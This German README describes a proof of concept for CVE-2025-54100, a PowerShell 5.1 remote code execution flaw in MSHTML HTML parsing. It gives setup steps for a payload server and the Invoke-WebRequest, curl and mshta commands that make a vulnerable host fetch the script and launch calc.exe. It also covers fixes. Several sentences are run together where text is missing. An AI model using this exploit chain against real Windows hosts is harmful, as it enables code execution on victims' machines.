
CVE-2025-54100 (Sicherheitslücke bei der Remotecodeausführung in PowerShell)
Demonstriert, wie CVE-2025-54100 durch bösartiges HTML-Parsing in Windows PowerShell 5.1 zu Remote Code Execution (RCE) führt.
Schwachstellentyp: Befehlsinjizierungsrisiko, wenn Invoke-WebRequest ohne den Parameter -UseBasicParsing verwendet wird
Schweregrad: CVSS 7.8 (Hoch)
Grundursache: Die auf MSHTML basierende HTML-Antwortanalyse erlaubt die Skriptausführung (z. B. ActiveXObject) und führt diese im Kontext des Aufrufers aus
Betroffene Systeme:
CVE-2025-54100.py liefert eine gezielt konstruierte HTML-Nutzlast zurückWScript.Shell / Shell.Application zu instanziierencalc.exe Remote Code Execution zu demonstrierenpython3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
Starte den PoC-HTTP-Dienst:
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
Führen Sie auf einem verwundbaren Windows-Host ohne -UseBasicParsing die folgenden Befehle aus:
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://192.168.26.16:8888"
# curl(PowerShell 中的别名)
curl http://192.168.26.16:8888
# mshta
mshta http://192.168.26.16:8888
Stellen Sie sicher, dass der Port mit der Serverkonfiguration übereinstimmt. Wenn das System verwundbar ist, wird das eingebettete Skript durch den MSHTML-Parser ausgeführt.
Hinweis: Einige Antivirenprogramme blockieren dieses Verhalten möglicherweise, auch wenn die Parsing-Schwachstelle selbst weiterhin besteht.
calc.exe nicht erscheint:
Invoke-WebRequest erneut ohne -UseBasicParsing ausDieser Schritt dient der Verifizierung des Ausführungsvektors. In realen Angriffsszenarien können Angreifer Verschleierung oder Umgehungstechniken einsetzen, um die standardmäßigen Sicherheitsbeschränkungen zu umgehen.

Microsoft hat die Schwachstelle im Dezember 2025 behoben:
Installieren Sie umgehend Windows-Sicherheitsupdates
Verwenden Sie immer -UseBasicParsing, um das MSHTML-Parsing zu vermeiden:
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
Wechseln Sie zu PowerShell 7+ (pwsh) – PowerShell Core ist für das Parsen nicht mehr auf MSHTML angewiesen und umgeht das Problem auf architektonischer Ebene.